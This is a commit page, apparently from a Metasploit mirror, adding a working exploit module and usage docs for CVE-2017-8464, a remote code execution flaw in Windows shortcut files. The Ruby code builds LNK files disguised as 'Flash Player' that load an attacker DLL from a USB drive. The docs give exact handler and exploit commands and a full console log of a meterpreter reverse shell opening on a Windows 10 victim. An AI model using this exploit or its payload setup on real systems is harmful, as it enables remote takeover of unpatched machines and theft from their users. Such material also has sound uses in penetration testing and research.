CVE-2017-8464 LNK Remote Code Execution Vulnerability
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except in an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file.bug/bundler_fix
parent
ff189147e7
commit
565a3355be
|
@ -0,0 +1,89 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Any Windows versions without the patch for CVE-2017-8464. The exploit doesn't appear to work with UNC drives. Because of this the DLL file needs to be on the local file system or an USB drive. A fix was released on June 2017 Patch Tuesday.
|
||||
|
||||
## Vulnerable Setup
|
||||
|
||||
To set up the vulnerable environment, install a Windows version without the patch for CVE-2017-8464. To test the bypass, make sure that MS10-046 & MS15-020 are installed.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Start a handler
|
||||
1. `use exploit/multi/handler`
|
||||
2. `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
|
||||
3. `set LHOST [ip victim connects back to]`
|
||||
4. `exploit -j`
|
||||
5. `back`
|
||||
|
||||
### Run the exploit
|
||||
|
||||
1. `use exploit/windows/smb/cve_2017_8464_lnk_rce`
|
||||
2. `set PAYLOAD windows/x64/meterpreter/reverse_tcp`
|
||||
3. `set LHOST [ip victim connects back to]`
|
||||
4. `exploit`
|
||||
|
||||
### Copy create files to USB drive & open on vulnerable system
|
||||
|
||||
1. `cp /root/.msf4/local/* [USB drive path]`
|
||||
|
||||
### Windows 10 x64 (Build 14393)
|
||||
|
||||
```
|
||||
msf > use exploit/multi/handler
|
||||
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/reverse_tcp
|
||||
msf exploit(handler) > set LHOST 192.168.146.197
|
||||
LHOST => 192.168.146.197
|
||||
msf exploit(handler) > exploit -j
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.146.197:4444
|
||||
[*] Starting the payload handler...
|
||||
msf exploit(handler) > back
|
||||
msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
|
||||
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/reverse_tcp
|
||||
msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.146.197
|
||||
LHOST => 192.168.146.197
|
||||
msf exploit(cve_2017_8464_lnk_rce) > exploit
|
||||
|
||||
[*] /root/.msf4/local/pkgHwAYhcfJtppgK.dll created copy it to the root folder of the target USB drive
|
||||
[*] /root/.msf4/local/WLJdtpWiqtSlIlRg_D.lnk create, copy to the USB drive if drive letter is D
|
||||
[*] /root/.msf4/local/YGgAGQnuljHPwuHA_E.lnk create, copy to the USB drive if drive letter is E
|
||||
[*] /root/.msf4/local/UDDDONGKgFMjJJEo_F.lnk create, copy to the USB drive if drive letter is F
|
||||
[*] /root/.msf4/local/iHQVetsiIiAKqTpK_G.lnk create, copy to the USB drive if drive letter is G
|
||||
[*] /root/.msf4/local/dyRROtcWZfjcZFRF_H.lnk create, copy to the USB drive if drive letter is H
|
||||
[*] /root/.msf4/local/RKgznCzbSnbUAsWC_I.lnk create, copy to the USB drive if drive letter is I
|
||||
[*] /root/.msf4/local/IlpcLQtbToxOPYSo_J.lnk create, copy to the USB drive if drive letter is J
|
||||
[*] /root/.msf4/local/lBSxxQHPjHUJBpcI_K.lnk create, copy to the USB drive if drive letter is K
|
||||
[*] /root/.msf4/local/DlHXewmhYhQaJvQj_L.lnk create, copy to the USB drive if drive letter is L
|
||||
[*] /root/.msf4/local/kqpBviLQOiHQpMRF_M.lnk create, copy to the USB drive if drive letter is M
|
||||
[*] /root/.msf4/local/InzbuFNqLHTJpgEz_N.lnk create, copy to the USB drive if drive letter is N
|
||||
[*] /root/.msf4/local/akRjMdiwJsBkSvKi_O.lnk create, copy to the USB drive if drive letter is O
|
||||
[*] /root/.msf4/local/JyyzptnIfvAfWpTl_P.lnk create, copy to the USB drive if drive letter is P
|
||||
[*] /root/.msf4/local/lXrtKBWZkYUOCvnK_Q.lnk create, copy to the USB drive if drive letter is Q
|
||||
[*] /root/.msf4/local/bYIqaUmWWRXaOsnV_R.lnk create, copy to the USB drive if drive letter is R
|
||||
[*] /root/.msf4/local/QwyQWcTucHvGHktl_S.lnk create, copy to the USB drive if drive letter is S
|
||||
[*] /root/.msf4/local/MzGJjWuTJYNBlPIV_T.lnk create, copy to the USB drive if drive letter is T
|
||||
[*] /root/.msf4/local/PeMnziXmGTOziiaX_U.lnk create, copy to the USB drive if drive letter is U
|
||||
[*] /root/.msf4/local/VtwFEyxDOhdktdEW_V.lnk create, copy to the USB drive if drive letter is V
|
||||
[*] /root/.msf4/local/kFkvMzooPPPkiKvw_W.lnk create, copy to the USB drive if drive letter is W
|
||||
[*] /root/.msf4/local/AkEDlRPsfBEtUJch_X.lnk create, copy to the USB drive if drive letter is X
|
||||
[*] /root/.msf4/local/vIgMqTMyRRjwWiAs_Y.lnk create, copy to the USB drive if drive letter is Y
|
||||
[*] /root/.msf4/local/baIHTqMoWyvsbnKM_Z.lnk create, copy to the USB drive if drive letter is Z
|
||||
msf exploit(cve_2017_8464_lnk_rce) >
|
||||
[*] Sending stage (1189423 bytes) to 192.168.146.193
|
||||
[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.193:50020) at 2017-07-25 19:28:27 +0200
|
||||
sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-5G8HK7E
|
||||
OS : Windows 10 (Build 14393).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,179 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
attr_accessor :exploit_dll_name
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'LNK Code Execution Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
|
||||
that contain a dynamic icon, loaded from a malicious DLL.
|
||||
|
||||
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
|
||||
similar except an additional SpecialFolderDataBlock is included. The folder ID set
|
||||
in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
|
||||
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
|
||||
DLL file.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Uncredited', # vulnerability discovery
|
||||
'Yorick Koster' # msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-8464'],
|
||||
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
|
||||
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup
|
||||
['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format
|
||||
['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],
|
||||
['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
|
||||
],
|
||||
'DefaultTarget' => 0, # Default target is 64-bit
|
||||
'DisclosureDate' => 'Jun 13 2017'))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
dll = generate_payload_dll
|
||||
dll_name = "#{rand_text_alpha(16)}.dll"
|
||||
dll_path = store_file(dll, dll_name)
|
||||
print_status("#{dll_path} created copy it to the root folder of the target USB drive")
|
||||
|
||||
# HACK the vulnerability doesn't appear to work with UNC paths
|
||||
# Create LNK files to different drives instead
|
||||
'DEFGHIJKLMNOPQRSTUVWXYZ'.split("").each do |i|
|
||||
lnk = generate_link("#{i}:\\#{dll_name}")
|
||||
lnk_path = store_file(lnk, "#{rand_text_alpha(16)}_#{i}.lnk")
|
||||
print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}")
|
||||
end
|
||||
end
|
||||
|
||||
def generate_link(path)
|
||||
path << "\x00"
|
||||
display_name = "Flash Player\x00" # LNK Display Name
|
||||
comment = "\x00"
|
||||
|
||||
# Control Panel Applet ItemID with our DLL
|
||||
cpl_applet = [
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00
|
||||
].pack('C*')
|
||||
cpl_applet << [path.length].pack('v')
|
||||
cpl_applet << [display_name.length].pack('v')
|
||||
cpl_applet << path.unpack('C*').pack('v*')
|
||||
cpl_applet << display_name.unpack('C*').pack('v*')
|
||||
cpl_applet << comment.unpack('C*').pack('v*')
|
||||
|
||||
# LinkHeader
|
||||
ret = [
|
||||
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
|
||||
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
|
||||
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
|
||||
0x00, 0x00, 0x00, 0x00, # FileAttributes
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
|
||||
0x00, 0x00, 0x00, 0x00, # FileSize
|
||||
0x00, 0x00, 0x00, 0x00, # IconIndex
|
||||
0x00, 0x00, 0x00, 0x00, # ShowCommand
|
||||
0x00, 0x00, # HotKey
|
||||
0x00, 0x00, # Reserved1
|
||||
0x00, 0x00, 0x00, 0x00, # Reserved2
|
||||
0x00, 0x00, 0x00, 0x00 # Reserved3
|
||||
].pack('C*')
|
||||
|
||||
# IDList
|
||||
idlist_data = ''
|
||||
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
|
||||
idlist_data << [
|
||||
# This PC
|
||||
0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
|
||||
idlist_data << [
|
||||
# All Control Panel Items
|
||||
0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
|
||||
0x30, 0x9d
|
||||
].pack('C*')
|
||||
idlist_data << [cpl_applet.length + 2].pack('v')
|
||||
idlist_data << cpl_applet
|
||||
idlist_data << [0x00].pack('v') # TerminalID
|
||||
|
||||
# LinkTargetIDList
|
||||
ret << [idlist_data.length].pack('v') # IDListSize
|
||||
ret << idlist_data
|
||||
|
||||
# ExtraData
|
||||
# SpecialFolderDataBlock
|
||||
ret << [
|
||||
0x10, 0x00, 0x00, 0x00, # BlockSize
|
||||
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
|
||||
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
|
||||
0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList
|
||||
].pack('C*')
|
||||
# TerminalBlock
|
||||
ret << [0x00, 0x00, 0x00, 0x00].pack('V')
|
||||
ret
|
||||
end
|
||||
|
||||
# Store the file in the MSF local directory (eg, /root/.msf4/local/)
|
||||
def store_file(data, filename)
|
||||
ltype = "exploit.fileformat.#{self.shortname}"
|
||||
|
||||
if ! ::File.directory?(Msf::Config.local_directory)
|
||||
FileUtils.mkdir_p(Msf::Config.local_directory)
|
||||
end
|
||||
|
||||
if filename and not filename.empty?
|
||||
if filename =~ /(.*)\.(.*)/
|
||||
ext = $2
|
||||
fname = $1
|
||||
else
|
||||
fname = filename
|
||||
end
|
||||
else
|
||||
fname = "local_#{Time.now.utc.to_i}"
|
||||
end
|
||||
|
||||
fname = ::File.split(fname).last
|
||||
|
||||
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
|
||||
fname << ".#{ext}"
|
||||
|
||||
path = File.join("#{Msf::Config.local_directory}/", fname)
|
||||
full_path = ::File.expand_path(path)
|
||||
File.open(full_path, "wb") { |fd| fd.write(data) }
|
||||
|
||||
full_path.dup
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue